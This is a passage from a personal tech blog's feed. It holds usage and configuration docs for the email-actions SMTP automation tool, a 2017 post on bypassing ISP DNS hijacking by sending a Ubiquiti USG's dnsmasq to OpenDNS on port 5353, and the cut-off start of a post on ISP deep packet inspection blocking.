&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;usage: email_actions [-h] [-v] [-H HOSTNAME] [-p PORT] [-l LOG] -c CONFIG
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;optional arguments:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -h, --help show this help message and exit
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -v, --version show program&amp;#39;s version number and exit
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -H HOSTNAME, --hostname HOSTNAME
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Host IP or name to bind the server to
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -p PORT, --port PORT Port number to bind the server to
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -l LOG, --log LOG Set log level. 0=&amp;gt; Warning, 1=&amp;gt;Info, 2=&amp;gt;Debug
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;required arguments:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -c CONFIG, --config CONFIG
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Specify config file (yaml format) to be used. If it
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; doesn&amp;#39;t exist, we&amp;#39;ll try to create it
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Examples:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;email_actions -H 127.0.0.1 -p 8500 -l 2 -c /home/shantanu/email_actions_cfg.yml
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;email_actions -c /home/shantanu/email_actions_cfg.yml
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Most of the options above are self explanatory. If you don&amp;rsquo;t specify a hostname, it will choose &lt;code&gt;localhost&lt;/code&gt; by default. If you don&amp;rsquo;t specify a port, it&amp;rsquo;ll choose &lt;code&gt;8025&lt;/code&gt; by default.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt; I recommend running the server on localhost or an internal network interface so that it can&amp;rsquo;t be abused from internet. Right now it doesn&amp;rsquo;t support authentication (limitation of aiosmtpd. Will be fixed soon), so if you must open it up to the internet, add your own scheme of verification either through a randomly generated email address in &amp;ldquo;To&amp;rdquo; rule or some other check in subject/content in your own external script that you are triggering.&lt;/p&gt;
&lt;p&gt;Specifying a config file is mandatory. If the specified file doesn&amp;rsquo;t exist, we&amp;rsquo;ll generate a dummy one which you can fill. But essentially this is a step that you can&amp;rsquo;t avoid. The config file is explained in more detail below.&lt;/p&gt;
&lt;h2 id="config-file-format"&gt;Config file format&lt;/h2&gt;
&lt;p&gt;email-actions uses the simple &lt;code&gt;yaml&lt;/code&gt; format for its configuration. Learning this is a small task (few minutes at most for the basic usage that we need). You can look at &lt;a href="https://learn.getgrav.org/advanced/yaml"&gt;this page&lt;/a&gt; for a quick reference.&lt;/p&gt;
&lt;p&gt;email-actions works on the basis of user specified &lt;code&gt;filters&lt;/code&gt;. Each filter can have &lt;code&gt;rules&lt;/code&gt; specified which decide whether to run an action or not on the incoming email. Each filter also specifies &lt;code&gt;actions&lt;/code&gt; (which is 1 or more plugins) to run an action on the incoming email if it passes the &lt;code&gt;rules&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;At least 1 filter is necessary in the configuration. Each filter must have at least 1 action. Rest all is optional. Each action plugin may have it&amp;rsquo;s own mandatory OR optional settings. See &lt;a href="#plugin-settings"&gt;Plugin Settings&lt;/a&gt; for all available plugins and their options/variables&lt;/p&gt;
&lt;p&gt;The config file has the following general format. All text after &lt;code&gt;#&lt;/code&gt; is an explanation, not a part of the config itself.&lt;/p&gt;
&lt;p&gt;Names within &lt;code&gt;&amp;lt;&amp;gt;&lt;/code&gt; can be substituted by user as per their choice. Names outside &lt;code&gt;&amp;lt;&amp;gt;&lt;/code&gt; are reserved by email-actions and must be used as is.&lt;/p&gt;
&lt;p&gt;All settings are case-sensitive. So take care of that.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;global: &lt;span style="color:#75715e"&gt;# Optional keyword that specifies global variables for plugins. These are available in all instances of your plugins in each filter&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;plugin_name&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;: &lt;span style="color:#75715e"&gt;# Plugin name for which you are specifying a global variable&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;setting_1&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;abcd&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#75715e"&gt;# Variable/setting for this plugin.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;setting_2&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;efgh&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#75715e"&gt;# Variable/setting for this plugin.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;filters: &lt;span style="color:#75715e"&gt;#Mandatory keyword to signify start of your filters specifications.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;filter_name&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;: &lt;span style="color:#75715e"&gt;# User specified name for a filter&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; rules: &lt;span style="color:#75715e"&gt;# Rules specifications start&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; to: &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;email_id&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#75715e"&gt;# A rule that matches&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Example: Take a look at the below sample config (Also found in &lt;a href="https://github.com/shantanugoel/email-actions/blob/master/sample/config.yml"&gt;this location&lt;/a&gt;)&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Specify a global variable for join plugin&amp;#39;s api key&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;global:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; join:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; apikey: my_join_app_api_key
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Specify 2 filters.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# my_filter matches only the emails which are sent to abc@a.com and runs below 2 actions:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;## Send join push notification using the global join api key&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;## Send an email using the credentials specified&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# my_second_filter runs on all emails since there is no rule specified&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# It runs below 2 actions:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;## Send join notification using another_api_key. Local variable overrides the global one&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;## Run external command with given args and also sets up a environment variable called &amp;#34;MY_ENV_VAR&amp;#34; which can be accessed in external command&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;filters:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; my_filter:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; rules:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; to: abc&lt;span style="color:#960050;background-color:#1e0010"&gt;@&lt;/span&gt;a&lt;span style="color:#f92672"&gt;.&lt;/span&gt;com
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; actions:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; join:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; email:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; host: smtp&lt;span style="color:#f92672"&gt;.&lt;/span&gt;example&lt;span style="color:#f92672"&gt;.&lt;/span&gt;com
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; username: my_email_username
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; password: my_email_password
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; port: &lt;span style="color:#ae81ff"&gt;587&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; secure: True
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; my_second_filter:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; join:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; apikey: another_api_key
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; exec:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; cmd: &lt;span style="color:#f92672"&gt;/&lt;/span&gt;home&lt;span style="color:#f92672"&gt;/&lt;/span&gt;shantanu&lt;span style="color:#f92672"&gt;/&lt;/span&gt;test&lt;span style="color:#f92672"&gt;.&lt;/span&gt;sh
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; args:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#f92672"&gt;/&lt;/span&gt;home&lt;span style="color:#f92672"&gt;/&lt;/span&gt;shantanu&lt;span style="color:#f92672"&gt;/&lt;/span&gt;abc_file
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;-&lt;/span&gt; another_arg
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; env:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; MY_ENV_VAR: &lt;span style="color:#e6db74"&gt;&amp;#39;Some Value&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="rules"&gt;Rules&lt;/h2&gt;
&lt;p&gt;Currently, below rules are supported. These can be specified under a &lt;code&gt;rules&lt;/code&gt; block.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Rule Keyword&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;to&lt;/td&gt;
&lt;td&gt;Any email id which should exactly match the &amp;ldquo;To&amp;rdquo; field in the incoming email&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="plugin-settings"&gt;Plugin Settings&lt;/h2&gt;
&lt;h3 id="join"&gt;join&lt;/h3&gt;
&lt;p&gt;This plugin sends a push notification to your devices using the &lt;a href="https://joaoapps.com/join/"&gt;Join&lt;/a&gt; app&lt;/p&gt;
&lt;p&gt;Options:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Option Keyword&lt;/th&gt;
&lt;th&gt;Mandatory / Optional&lt;/th&gt;
&lt;th&gt;Default Value&lt;/th&gt;
&lt;th&gt;Comment&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;apikey&lt;/td&gt;
&lt;td&gt;Mandatory&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;td&gt;Your API key from &lt;a href="https://joinjoaomgcd.appspot.com/"&gt;here&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;deviceId&lt;/td&gt;
&lt;td&gt;Optional&lt;/td&gt;
&lt;td&gt;group.all&lt;/td&gt;
&lt;td&gt;See valid options &lt;a href="https://joaoapps.com/join/api/"&gt;here&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;title&lt;/td&gt;
&lt;td&gt;Optional&lt;/td&gt;
&lt;td&gt;Email Subject&lt;/td&gt;
&lt;td&gt;See valid options &lt;a href="https://joaoapps.com/join/api/"&gt;here&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;text&lt;/td&gt;
&lt;td&gt;Optional&lt;/td&gt;
&lt;td&gt;Email content&lt;/td&gt;
&lt;td&gt;See valid options &lt;a href="https://joaoapps.com/join/api/"&gt;here&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="exec"&gt;exec&lt;/h3&gt;
&lt;p&gt;This plugin allows to run any arbitrary command or script on your local system on which email-actions server is running.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Option Keyword&lt;/th&gt;
&lt;th&gt;Mandatory / Optional&lt;/th&gt;
&lt;th&gt;Default Value&lt;/th&gt;
&lt;th&gt;Comment&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;cmd&lt;/td&gt;
&lt;td&gt;Mandatory&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;td&gt;Full path to the command to be run. Don&amp;rsquo;t include arguments. Enclose in quotes if space in path&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;args&lt;/td&gt;
&lt;td&gt;Optional&lt;/td&gt;
&lt;td&gt;Empty list&lt;/td&gt;
&lt;td&gt;List of arguments to be passed to command, 1 on each line.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;env&lt;/td&gt;
&lt;td&gt;Optional&lt;/td&gt;
&lt;td&gt;Empty dictionary&lt;/td&gt;
&lt;td&gt;Key value pair of custom environment variables for the external command/script. One on each line&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="email"&gt;email&lt;/h3&gt;
&lt;p&gt;This plugin allows to forward the incoming email further to an upstream smtp server&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Option Keyword&lt;/th&gt;
&lt;th&gt;Mandatory / Optional&lt;/th&gt;
&lt;th&gt;Default Value&lt;/th&gt;
&lt;th&gt;Comment&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;host&lt;/td&gt;
&lt;td&gt;Mandatory&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;td&gt;Provide hostname or ip of your upstream smtp server&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;port&lt;/td&gt;
&lt;td&gt;Optional&lt;/td&gt;
&lt;td&gt;25&lt;/td&gt;
&lt;td&gt;Port for upstream smtp server&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;username&lt;/td&gt;
&lt;td&gt;Optional&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;td&gt;username if required&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;password&lt;/td&gt;
&lt;td&gt;Optional&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;td&gt;Password if required&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;secure&lt;/td&gt;
&lt;td&gt;Optional&lt;/td&gt;
&lt;td&gt;False&lt;/td&gt;
&lt;td&gt;Set it to true if upstream server requires secure/TLS connection&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h1 id="contributing"&gt;Contributing&lt;/h1&gt;
&lt;p&gt;Feel free to fork the repo and send PRs for any changes. If you can&amp;rsquo;t make changes but want to report issues or provide feedback, open an Issue on github or ping me on twitter &lt;a href="https://twitter.com/shantanugoel"&gt;@shantanugoel&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;You can contribute either to the core or write a plugin for your usecase. The only guiding principle is to keep it as simple/minimal as possible.&lt;/p&gt;
&lt;h2 id="how-to-write-a-plugin"&gt;How to write a plugin&lt;/h2&gt;
&lt;p&gt;Take a look at any plugin in &lt;a href="https://github.com/shantanugoel/email-actions/tree/master/email_actions/plugins"&gt;plugins&lt;/a&gt; directory
A minimal plugin needs to do following things:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Define &amp;lsquo;PLUGIN_NAME&amp;rsquo;. This need not be same as the file name but is preferred to keep that way&lt;/li&gt;
&lt;li&gt;A function that takes these parameters: &lt;code&gt;filter_name, msg_from, msg_to, msg_subject, msg_content&lt;/code&gt; and doesn&amp;rsquo;t return anything&lt;/li&gt;
&lt;li&gt;Read plugin&amp;rsquo;s configuration (if any) using email_actions.config.read_config_plugin function
&lt;ul&gt;
&lt;li&gt;Ideally the plugin should not need to use any other function from the core&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;After writing the plugin, add the plugin&amp;rsquo;s name and entry function in &lt;code&gt;entry_funcs&lt;/code&gt; dict in &lt;a href="https://github.com/shantanugoel/email-actions/tree/master/email_actions/plugins/__init__.py"&gt;plugins init file&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content></item><item><title>Bypass ISP DNS hijack by changing DNS port on Ubiquiti USG router</title><link>https://shantanugoel.com/2017/03/13/bypass-isp-dns-hijack-ubiquiti-ubnt-usg/</link><pubDate>Mon, 13 Mar 2017 16:46:24 +0530</pubDate><guid>https://shantanugoel.com/2017/03/13/bypass-isp-dns-hijack-ubiquiti-ubnt-usg/</guid><description>&lt;h2 id="the-background"&gt;The Background&lt;/h2&gt;
&lt;p&gt;We talked earlier about how certain &lt;a href="https://shantanugoel.com/2016/09/17/indian-isp-act-fibernet-blocks-bit-ly-does-dns-hijacking/"&gt;ISPs block websites by using DNS hijack methods&lt;/a&gt; and I had recommended using DNSCrypt to bypass it. Well, as part of my home network overhaul, I moved over from the consumer grade (but still decent enough) Asus router over to Ubiquiti stack which, among other things, lead me to use their &amp;ldquo;Unify Security Gateway (USG)&amp;rdquo; as the router. Now, this router is pretty decent and is running Ubiquiti&amp;rsquo;s EdgeOS (derived from Vyatta OS, which in turn is based on linux/debian). You can install and tweak a lot of stuff through command line if you&amp;rsquo;d like but alas there&amp;rsquo;s no dnscrypt-proxy available for it.&lt;/p&gt;</description><content>&lt;h2 id="the-background"&gt;The Background&lt;/h2&gt;
&lt;p&gt;We talked earlier about how certain &lt;a href="https://shantanugoel.com/2016/09/17/indian-isp-act-fibernet-blocks-bit-ly-does-dns-hijacking/"&gt;ISPs block websites by using DNS hijack methods&lt;/a&gt; and I had recommended using DNSCrypt to bypass it. Well, as part of my home network overhaul, I moved over from the consumer grade (but still decent enough) Asus router over to Ubiquiti stack which, among other things, lead me to use their &amp;ldquo;Unify Security Gateway (USG)&amp;rdquo; as the router. Now, this router is pretty decent and is running Ubiquiti&amp;rsquo;s EdgeOS (derived from Vyatta OS, which in turn is based on linux/debian). You can install and tweak a lot of stuff through command line if you&amp;rsquo;d like but alas there&amp;rsquo;s no dnscrypt-proxy available for it.&lt;/p&gt;
&lt;p&gt;I had the below options now to overcome my ISP&amp;rsquo;s DNS hijacking:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Compile dnscrypt manually and use it&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Run dnscrypt on another server/device internally (maybe my NAS or the ubiquiti cloudkey or something)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Use one of the other options I had originally discussed (hosts file, VPN, alternate port)&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;I rejected the first option as it meant setting up a cross compilation environment just for one program and also it may be hard to keep up in future. The 2nd option wasn&amp;rsquo;t too good either as I didn&amp;rsquo;t want my network infrastructure&amp;rsquo;s basic need of DNS to depend on another device which may not be as resilient due to other regular use. From the other earlier discussed alternatives, I didn&amp;rsquo;t want to do the manual upkeep of hosts file or fall into the expensive/slow/insecure trap of VPNs. So I settled on the next best solution of using an alternate port for my DNS queries, with the hope that the ISP is dumb (or cost conscious) enough to rely only on port number to higjack DNS and not use DPI for it (even though &lt;a href="https://shantanugoel.com/2017/01/24/act-fibernet-deep-packet-inspection-blocking-sites/"&gt;they do use DPI for at least some types of blocking&lt;/a&gt;).&lt;/p&gt;
&lt;h2 id="testing-the-waters"&gt;Testing the Waters&lt;/h2&gt;
&lt;p&gt;First thing was to try whether this would even work or not. So I tried it easily by querying for a blocked torrent site first through ISP&amp;rsquo;s DNS servers, then OpenDNS servers on default DNS port (53) and then Open DNS servers on port 5353 (Yes, OpenDNS responds to dns queries on 5353 as well, fortunately.)&lt;/p&gt;
&lt;figure class="left" &gt;
&lt;img src="https://shantanugoel.com/img/2017/03/dns-queries-thumb.jpg" /&gt;
&lt;/figure&gt;
&lt;p&gt;In the first 2 attempts, the IP returned was my ISP&amp;rsquo;s hijacked reply (pointing to their own generic server that they use to respond to blocked site requests) but in the last one (using port 5353), the DNS request went unmodified and came back with the real IP of the website. Success!&lt;/p&gt;
&lt;h2 id="configuring-the-usg"&gt;Configuring the USG&lt;/h2&gt;
&lt;p&gt;So, on to the real deal. USG does have a UI option in the Unify Controller software to set custom DNS servers. However, it takes only IPs and not ports. This is understandable as I found out after going through resolv.conf manpages and several old discussions. resolv.conf&amp;rsquo;s support for alternate ports has been discussed several times and rejected in favor of other system wide solutions.&lt;/p&gt;
&lt;p&gt;I had a thought to use iptables to forward all requests going out to WAN port 53 to port 5353. But, this is like using a shotgun to pop balloons. Firewall solutions like this should be used rarely as they strain the traffic processing as they build up quickly.&lt;/p&gt;
&lt;p&gt;USG uses dnsmasq though, so there was hope. DNSmasq allows to set ports as well for nameservers as per its manpage. So, the problem statement was thus as below:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Don&amp;rsquo;t use resolv.conf at all (to avoid ISP&amp;rsquo;s DNS servers or any other DNS servers leaking traffic onto port 53)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Set OpenDNS nameserver ip/port in dnsmasq for all sites (Generally folks use it for specific sites, but the configuration syntax is flexible enough to mould it anyways and we can set it as a generic server too)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;There&amp;rsquo;s no UI option for this though, so you&amp;rsquo;ve to drop down to the CLI. Launch an ssh session to the USG ip and use the credentials that you&amp;rsquo;ve set in the unify controller to log in. Then run the below set of commands. The procedure is slightly different from a regular linux box (where you&amp;rsquo;d directly edit dnsmasq.conf) due to the specific nature of config management of ubiquiti devices.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;# Switch to configuration mode
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ configure
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;# Below commands will generate the appropriate dnsmasq.conf automaticall
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;# Don&amp;#39;t use resolve.conf
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ set service dns forwarding options &amp;#34;no-resolv&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;# Set the opendns nameserver for all sites
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ set service dns forwarding options &amp;#34;server=208.67.222.222#5353&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;# Generate the config files, save and exit
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ commit;save;exit
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now, you can try browsing (or doing nslookup) for the blocked website and it&amp;rsquo;ll go through succesfully. Note that like all other CLI changes for USG, the above changes can be lost whenever you make some other config change through UI or update USG firmware. To make it persistent across such events, you need to follow the &lt;a href="https://help.ubnt.com/hc/en-us/articles/215458888-UniFi-How-to-further-customize-USG-configuration-with-config-gateway-json"&gt;config.gateway json process&lt;/a&gt;.&lt;/p&gt;</content></item><item><title>ACT Fibernet blocks sites using deep packet inspection</title><link>https://shantanugoel.com/2017/01/24/act-fibernet-deep-packet-inspection-blocking-sites/</link><pubDate>Tue, 24 Jan 2017 16:04:28 +0530</pubDate><guid>https://shantanugoel.com/2017/01/24/act-fibernet-deep-packet-inspection-blocking-sites/</guid><description>&lt;p&gt;ISPs in India have been blocking websites since many years. It&amp;rsquo;s often done without much sense to it. The goveernment/telecom bodies and courts sometimes tell the ISPs to block content instead of telling the same to the websites that host the content. Sometimes, the orders are to block certain urls and ISPs are over-enthusiastic in implementing the orders and block complete 